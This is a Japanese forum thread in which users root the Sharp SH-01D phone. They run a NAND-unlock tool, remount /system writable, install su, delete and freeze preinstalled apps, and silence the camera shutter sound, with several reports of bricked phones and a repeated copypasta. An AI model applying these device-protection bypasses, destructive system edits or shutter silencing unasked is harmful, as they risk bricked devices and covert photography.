adb push build.prop /system
build.prop ってchmod 644 にしたほうが良くなったっけ？ ごめん自信無いです
再起動すれば勝手にもどるだろなんて思ってた・・
MEDIASの場合は、パーミッション変更しないと起動しなくなるみたいです。
マジか～
ディレクトリは勝手にもどるから、ファイルも勝手に戻るだろなんて
簡単に考えてたよ・・・
一時ルートだから再起動したら戻るよ
今のところ一時ルートだけだし
次のステップは今盛り上がってきたところ
adb shell chmod 755 /data/local/nandunlock
adb shell /data/local/nandunlock
adb shell mount -o rw,remount /dev/block/platform/mmci-omap-hs.0/by-name/system /system
までやって再起動する分には問題ないんかね？
メニューキー押しながら電源onでセーフモードにはなる
systemを書き込み可能でマウントした後は、読み込みのみ可能でマウントしなおしてから再起動した方がいいかもです
ルート化したらメモリー70%位まで使用量増えてそのままだったから、再起動したら
30%位を推移・維持してでワロリンヌ
とりあえずコレで満足しとくか
adb shell mount -o rw,remount /dev/block/platform/mmci-omap-hs.0/by-name/system /system
adb shell
# mkdir /system/hogehoge
# cat /sbin/su > /system/hogehoge/fugafuga
# chmod 755 /system/hogehoge/fugafuga
adb shell mount -o ro,remount /dev/block/platform/mmci-omap-hs.0/by-name/system /system
で再起動は大丈夫だった。新規ファイルをつくるのは大丈夫みたい。既存のファイルの変更が文鎮化するのかな。怖くて試せないけど。
余計なサービス凍結するだけでも、価値あるだろうに。
後はワンクリに期待。
これ、sh-02dで出来ればいいのに。
チキンな俺は、romるだけだorz
慎重派それもまたありだよな
まあSH-01D買った俺はチャレンジャーって事
やっと一時ルート取れたし
ただ取れたら次が欲しくなる
一度やってみれー
大半の人はrootは必要ないと考えると思う
こういうのも、もっとニッチな世界になるだろうから
セキュリティーを考えればメーカーもアホである
ならsystemuiいじるの危険かなぁ。標準のトグルいじりたいんやけど
パーミッション変えたまま再起動すると大抵文鎮化するのは常識だろ
ディレクトリとかドライブそのものは平気だったりするけどファイルはダメ絶対
ならカメラに関してはシャッター音のファイル名変えるのが一番安全なんかな
また買ったの？
ファイルを変えるだけだとカメラアプリがエラーはく可能性があるから自分で準備した無音ファイルと入れ替えた方がいい。もちろん元のファイルはバックアップとること
ですよね、そのつもりです。秒数まで合わせたろうかなと思ってました！
ご丁寧にありがとうございます。
ro.camera.sound.force=1
を0に変えてパーミッションをもとに戻すだけで
マナーモードにすればシャッターもフォーカスも鳴らない。
シャッター音off設定がある機種ならoffにすればシャッター音だけ消える。
自分はこの端末で無音なんて必要ないからやってないが
過去に試した限り2.3ぶちこんだHT-03Aとか初代XPERIAやらacroもarcも全部これでいけた
パーミッションさえ戻せばだが多分これでも大丈夫だろう
ファイル書き換えで試すにしてもパーミッション合わせ忘れて再び文鎮にすんなよ
私もその手法でやりました。
そしてパーミッションは666のまま再起動しました・・・
ただシャープはbuild.propを元に戻しちゃうって情報があったんです
無音データにしといたらマナー使わなくてもよくなるから楽でいいかと。
情報ありがとうございます！
通りすがりついでに．．．
nandlock解除できたら、永久rootするの難しくないですよ
suバイナリを/sbinに置くと再起動で消えてしまうので一時rootですが
/system/binにおけば消えません
busyboxとか必要なファイルも一緒に置いとけば捗るかも
やり方が難しいなぁ
文珍師匠も居るし、ちょっとこええよ
段階踏んで１つずつやってけば案外簡単
皆がツールや手順を公開してくださってるから
俺が１度文鎮生み出してしまったのも538の注意を軽く考えてたせいだし
差し替えるとしたら /system/media/audio/ui/ の中の .ogg ファイルだよね
camera_click1.ogg とか camera_focus.ogg とか...
これもひとつ間違うと文鎮化したりする？
ちょっとした写真撮るくらいなら無音系のアプリがあるじゃないか。
でもせっかくrootとれたら手ごろなとこで無音化やってみたいと思うじゃん。
無音アプリだとやっぱ画質とか機能制限されるよね？
薄型のコンパクトデジカメを持ち歩けばいいのでは？
携帯じゃ限界があるぞ
あくまでも持ってる性能はそのままでってのを言いたかったのね。
それができたから何って言われれば自己満でしかない話で。
もうゆるちて
ある人から見ればすごいってなるし、ある人から見ればだから何？ってね
2chのましてやroot取るってスレにいる
果たしてそれは自己満足以外のなんだろうか
そう、みんな自己満足なのさ
やってみた
/system/media/audio/ui/ の camera_focus.ogg と camera_click1.ogg を
無音の.oggファイルにしてみた
標準のカメラアプリのオートフォーカス音、およびシャッター音が無音に
なることを確認しました
怖いので、端末を再起動する前にバックアップしておいたもとの.oggファイルに
戻したよ、ヘタレでスマソ
接写する時すげぇ邪魔なんだよなあれ
他機種と同じ構造をとっているのならば
hw_config.sh中の$dev/tally-light/max_current
ここの数値いじってみるといいかもしれない
オオ、ナイス！
そこまでやったんなら同じことでは？
すでにやった人いるみたい。12Cのことかいな？
http://ameblo.jp/sbra-sb16/entry-11180943761.html
そのブログによると、無音の.oggに変更しなくても目的の.oggファイルを
リネームするだけで無音化できるみたいですね
私はまだ >>556 やった後、一度も再起動してません
再起動した瞬間に 文鎮師匠 の後を追ってしまったらどうしよう...
サンクス
でもまだ怖くてroot取れてないのよ
折角情報くれたのにすまんね
rootとること（とろうとすること）自体は怖くないでしょ
少しミスって失敗しても rootがとれないってだけで文鎮にはならない
怖いのは rootとれた後、NANDロック解除して system領域のファイルを
書き変えたりすると文鎮化の恐れが出てくる
残念ながらSH-01Dはhw_config.shを使用していないみたいですね。
ちなみにカメラ＆ビデオ音は/system/media/audio/ui/のoggファイルをリネーム後、無音ファイル入れ替え、パーミッションの変更にてリブートしてもOKですよ。
そのまま無音化されます。
みんな漏れや501のようにはなるなよ
563の方法でやったん？
それとも俺のようにただのパーミッション戻し忘れ？
携帯地面に叩きつけて本体交換！とかむりなん？
apk名とかは正確に覚えてないけど
上記手法でnandlock外して
adb shell
su
rm Twitter.apk
pm uninstall com.twitter.android
rm jp.beetv.sp.app.apk
rm jp.beetv.sp.app.odex
pm uninstall jp.beetv.sp.app
rm ichannel.odex
pm uninstall jp.co.nttdocomo.ichannel
ここまではよかったのかもしれんが、次がまずかった
あんしんスキャンを削除しようとしてapkを探そうと思ったが
find / -name vs -print
grepし忘れた･･･
そして、ここでグラボがフリーズ
adb shell
su
cd /system/app
apk名調べ直して
rm com.mcafee.vsm_android_dcm.apk(違ってるかも)
ここで、リードオンリーファイルですと言われる
再度undunlockを実行しても、リードオンリーなので思わず
reboot
そしてブリック。>>509状態で文鎮完成( ´△｀)
find / -name vs -printのあと重くて止まってるように見えてただけとか
すでに修理完了して今は基板交換済みだとか
/system/build.prop書き換えて chmod 644 した後で再起動したら
文鎮師匠と同じ症状になったとのこと
この機種はbuild.propの書き換えがタブーってことなのかな？
あ、修理は無料でモバイラーズチェック\500もらったといってた
修理はダメだろう！しかも500円もらってるって
メーカーもメーカーだな・・
それは文鎮化とは関係ないと思うけど（たぶん）
「端末の故障でご不便をお掛けいたしました」てな感じで\500くれたとか
起動しないだけでOK
スレチだが、答えよう
どの端末の防水も基本風呂での使用はダメだ
条件を言えば水温が常温、綺麗な水、これなら風呂場でもおｋ
防水の注意書きをggって見た方がいいよ
そういうことでしたか…
すみません、親切にありがとうございました。
水場で落としても大丈夫くらいの実用性
風呂場で使うなら007SHとかの方がいい
抜き出しするコマンドって言えばいいかな
find / -name *.apk -print |grep vs
これで、全ディレクトリから.apkのファイルのうち、vsって
文字の入ってるファイルを抜き出して表示してくれる
ただ、linuxだとちょっと違うっぽい・・・？
ケースが小さいので、熱暴走orz
試験的に007shを風呂のお湯の中に入れ
スマートファミリンクでテレビを見て遊んだ事がある
もうやらないけどｗ
キタ━━━（°∀゜）━━━
>>489と全く同じ状態になるんですが原因わからないですかね
環境も同じカーネル 2.6.35.7+、ビルド番号 01.00.04なのでその環境だと出来ないのかな
>>どの端末の防水も基本風呂での使用はダメだ
スレチだが嘘は見逃せないので
風呂場での使用を取説にて保障している機種もありますよ。
SH-01Dは風呂場での使用を保障しています。
お湯やシャワーはダメですが、風呂場の湿気は保障の対象です。
同じバージョンでウチのはunlockできてるよ
「unlockされてない」ことを確認した？nandunlockした後、これ↓やってみ
adb shell mount -o rw,remount /dev/block/platform/mmci-omap-hs.0/by-name/system /system
>>467 にあるように、unlockに成功してても NAND unlock failed って表示されるぞ
mount: permission denied (are you root?)
って出るという事はunlockされてないですよね？
成功してもNAND unlock failedが出るのは理解してたんですけど
adb shell /data/local/nandunlock
した時の途中で
kallsyms_addresses search failed
って出るんでそこが原因なのかなと思ったんですけどじゃあ実際何が悪いのか
まではわからなくて・・・
unlockされてないですね、>>466 の以下の条件は満たしてるの？
> C:\> adb shell ls -l /dev/boot_daemon_drv
> crw-rw-rw- system cache 247, 0 2012-02-10 18:31 boot_daemon_drv
何度も申し訳ないです
adb shell ls -l /dev/boot_daemon_drv を実行すると
crw-rw-rw- system cache 247, 0 2012-03-29 11:26
になってます
タイムスタンプが違うと駄目ですか？
タイムスタンプは関係ないです（root化した日付とかになってるかも）
crw-rw-rw- ですから特に問題なさそうです、何が悪いんでしょ？
なんでしょうね
root取れてないのかと不安になってadb shellでsuにはなれたので
取れてはいるっぽいからさっぱりですね・・・
お前はrootか？と聞かれた時にコンソール側で
固まるので溜め息出たけど、ふと端末を見ると
superuserがyes/noの表示を出していて
yesを押すと、目出度く#になるというオチだった
仮root実行時に一度だけそんな感じのメッセージ出てた事はありますね
その時にyes押しましたけどそれ以降そのメッセージ出た事がないです
/data/local/nandunlock 実行後に
adb shell mount -o rw,remount /dev/block/platform/mmci-omap-hs.0/by-name/system /system
これ↑じゃなくて、こう↓やってますか？
adb shell
（$ プロンプトが表示されたら）
su
（# プロンプトが表示されたら）
mount -o rw,remount /dev/block/platform/mmci-omap-hs.0/by-name/system /system
これで mount: permission denied (are you root?) エラーが表示されますか？
まさに今それやってたところでした・・・ｗ
rootか？と聞かれるんだからじゃあadb shellでsuになってから実行してやろうじゃないかと
やってみたところ
$ mount -o rw,remount /dev/block/platform/mmci-omap-hs.0/by-name/system /system
mount -o rw,remount /dev/block/platform/mmci-omap-hs.0/by-name/system /system
mount: permission denied (are you root?)
ダメでしたorz
ごめんなさい$に戻してました
再度やってみたところ
$ su
su
# mount -o rw,remount /dev/block/platform/mmci-omap-hs.0/by-name/system /system
mount -o rw,remount /dev/block/platform/mmci-omap-hs.0/by-name/system /system
#
となったのでちょっと調べてみます
ありがとうございます
お手数おかけしました
NANDロック解除できた、というか正確には「解除できてた」ようですね
これでほぼ何でもできちゃいますが、くれぐれも文鎮師匠の弟子にならぬように…
疑問を解決するため、1の故郷である群馬県に向かった。
｢まだ日本にこんなところがあったのか…｣
思わず口に出てしまった言葉を同行した上司に失礼だと咎められた。
小人が住むような小さな家、ツギハギだらけの服を着る農夫たち、
そして彼らは余所者で身なりのいい我々を監視する様に見詰めている。
高度成長だの、神武景気だの、オリンピックだので浮かれていた
我々は改めて農村の現状を噛み締めていた。
ボロ屑のような家に居たのは老いた母親一人
我々を見るなり全てを悟ったのか、涙ながらに
｢息子が申し訳ありません｣と我々に何度も土下座して詫びた。
我々はこの時初めて1を許そうと思った。
誰が悪い訳ではない、農村の貧しさが全て悪かったのだ。
我々は1の母親から貰った干し柿を手に、
打ちひしがれながら東京へと帰路についた。
カスロムなんてスレタイだけって話
メジャーアップデート…
昔はゴロー氏がエクスぺリアで1.5のまま戦い続けたと言うのに
そんなことより
ほ
あんど
ぬるぽ
>>545と無音化でbuild.prop書き換えをやってみようと思うんだけど
文鎮化するのは
1、既存ファイル(build.prop等)の書き換え
2、
adb shell mount -o rw,remount /dev/block/platform/mmci-omap-hs.0/by-name/system /system
adb shell
で書き換えた後
adb shell mount -o ro,remount /dev/block/platform/mmci-omap-hs.0/by-name/system /system
を実行せず再起動
のどっちが原因ですかね？
mount -o rw,remount ...したままで再起動した場合、もともと何もマウントされてない状態で
端末が起動し始めて、-o,ro で /system のマウントが行われるはずです
（前回 -o,rw でマウントしていた）という状態が次回起動時まで残るようなものではありません
仮rootとれた状態で rwにして /system/bin/su にコピり、roに戻せば
あとは色々 pushしたデータを消しても再起動しても、いつでも簡単に # を取れています。
その後も問題ないみたい。
rwのまま再起動はヘタレなので試してません。
ありがとうございます
私もヘタレなんで無音化は無音データ入れ替えでやってみて
>>545はコピーした後roに戻して再起動しようとおもいます
mount -o rwのまま再起動することが問題でなのではないですね
/systemに何か変更を行って、それを完全に反映させる前に再起動することにより、整合性の問題が発生して不具合の原因になります
mount -o rwはそれを確実に反映させる１つの手段です
他の手段としてsyncコマンドとかでも問題ないですし、adb rebootも問題ありません
本来、rebootコマンドはそれらの同期を行った後に実行するべきものです
/system/bin に su をコピーして、busybox を /system/xbin にインストール
端末を再起動した直後に（端末エミュレータにて） su で # になることを確認
nandunlock については再起動するたびにやり直さないといけないわけだけど
やろうと思えば PCと繋がずにできるし、しょっちゅう書き込みしたいわけじゃない
nandロックされた状態でも root化できてさえいればそれなりに便利です
このスレのみなさんのおかげです、ありが㌧
疑問を解決するため、1の故郷である群馬県に向かった。
｢まだ日本にこんなところがあったのか…｣
思わず口に出てしまった言葉を同行した上司に失礼だと咎められた。
小人が住むような小さな家、ツギハギだらけの服を着る農夫たち、
そして彼らは余所者で身なりのいい我々を監視する様に見詰めている。
高度成長だの、神武景気だの、オリンピックだので浮かれていた
我々は改めて農村の現状を噛み締めていた。
ボロ屑のような家に居たのは老いた母親一人
我々を見るなり全てを悟ったのか、涙ながらに
｢息子が申し訳ありません｣と我々に何度も土下座して詫びた。
我々はこの時初めて1を許そうと思った。
誰が悪い訳ではない、農村の貧しさが全て悪かったのだ。
我々は1の母親から貰った干し柿を手に、
打ちひしがれながら東京へと帰路についた。
プリイン削除後にシェル内でrebootコマンド打ったけど文鎮完成したよ
おまじないのsync3回は必須かもしれんね
ただ、最近のLinuxはsyncいらないって話なんだけど、androidでは必須？
ヨクヤッタ
すでにこのスレで報告済なのだが･･･
俺のぬるぽのな
まぁそう言わず、一緒に文鎮師匠の弟子になろうｗ
疑問を解決するため、1の故郷である群馬県に向かった。
｢まだ日本にこんなところがあったのか…｣
思わず口に出てしまった言葉を同行した上司に失礼だと咎められた。
小人が住むような小さな家、ツギハギだらけの服を着る農夫たち、
そして彼らは余所者で身なりのいい我々を監視する様に見詰めている。
高度成長だの、神武景気だの、オリンピックだので浮かれていた
我々は改めて農村の現状を噛み締めていた。
ボロ屑のような家に居たのは老いた母親一人
我々を見るなり全てを悟ったのか、涙ながらに
｢息子が申し訳ありません｣と我々に何度も土下座して詫びた。
我々はこの時初めて1を許そうと思った。
誰が悪い訳ではない、農村の貧しさが全て悪かったのだ。
我々は1の母親から貰った干し柿を手に、
打ちひしがれながら東京へと帰路についた。
ところで suバイナリが古いって表示されるのが気になって
nandunlockした状態でsuのアップデートをしてみたところ
su実行でエラーが出るようになってしまったので、仕方なくもとのsuに戻した
suアップデートしたけど問題ないって人いる？何かやり方間違えたのかしら
SH端末は共通してオリジナルのsuバイナリが動かないようにしてある
↓あたりが参考になるかも
ttp://www.gcd.org/blog/2010/11/671/
古いって表示されてもまったく動作上支障はないので、
環境設定→古いバイナリの通知 のチェックを外してそのまま使うといいよ
なるほどそういうわけでしたか
なっとくしました「suバイナリが古い」通知は気にしないで使い続けます
ありがとうございました
俺ももう一回やろうかな・・・
おかえり文鎮師匠
漏れはさすがに2台目はアプリ凍結までにしといたよ
今回は弟子になれなくてすまんねｗ
考えてみてください
永続kwsk
特にアプリがアップデートされるたびに、acoreの…ってのがおきる。。
ほかには実害なさそうなんだけれど、ちょっと気持ち悪い。
そのまま2週間くらい使っているけど、電話が不安定な気がする
この機種自体の問題なのかもしれんけど
それをリスト化して自力で試していくのが醍醐味なんじゃまいか
地図ナビウィジェット
pm disable com.nttdocomo.android.dmapnavi.widget
マチキャラ
pm disable com.nttdocomo.android.mascot
パレットUI
pm disable com.nttdocomo.android.paletteui
パレットUI壁紙（？）
pm disable com.nttdocomo.android.paletteui.wallpaper2_1280x720
docomo dcm wap push helper
pm disable com.nttdocomo.android.pf.dcmwappush
トルカ
pm disable com.nttdocomo.android.toruca
iチャンネル
pm disable jp.co.nttdocomo.ichannel
シャープ謹製スパイウェア
pm disable jp.co.sharp.android.lifelog.database
docomo地図ナビアプリ
pm disable jp.dmapnavi.navi
デコモジマネージャー
pm disable jp.co.omronsoft.android.decoemojimanager_docomo
ミュージックプレーヤー
pm disable arcsoft.android.musicplayer
以下は docomo電話帳を使っていて、docomoサービスとリンクしている場合は切っちゃいかん
gmailなどグーグルサービスと同期していたり、exchangeとactivesyncで同期している場合は
関係ないので切ってよし。
電話帳コピー
pm disable com.nttdocomo.android.phonebookcopy
電話帳ウィジェット
pm disable com.nttdocomo.android.phonebookwidget
スケジュールとメモ
pm disable com.nttdocomo.android.schedulememo
スケジュールとメモ（ウィジェット）
pm disable com.nttdocomo.android.schedulewidget
不明だけど今んところもんだいない。
pm disable com.nttdocomo.android.socialphonebook
これが電話帳サービス。元にもどしたらエラーはかなくなった。
あと既出かもしれないけどブルートゥースとかワンセグ凍結させると文鎮化するらしいよ
>>417
バックアップしたいって事？
そんなんしなくてもapk転がってるけど･･･
それとも有償修理になるのでしょうか？
サービスは最新版にアップデート
アップデートする順番なのか、GO Launcherのバージョンの問題なのか
ちなみにGOはリビルドして必要ない権限切ってる
ゾンビのように立ち上がってくる。
こいつを凍結したいんだけど、パーソナルエリアのパッケージ名って
何かわかりますか？ どうもそれらしいのが見当たらない。
家帰ったら調べたリストがあるんだけど
/system/app/DocomoMenu.apk というのがパーソナルエリア
パッケージ名は com.nttdocomo.android.docomomenu
私は SHARP製ホームを使っているので「パレットUIを凍結」しています
パーソナルエリアは凍結していませんが勝手に立ち上がることはないようです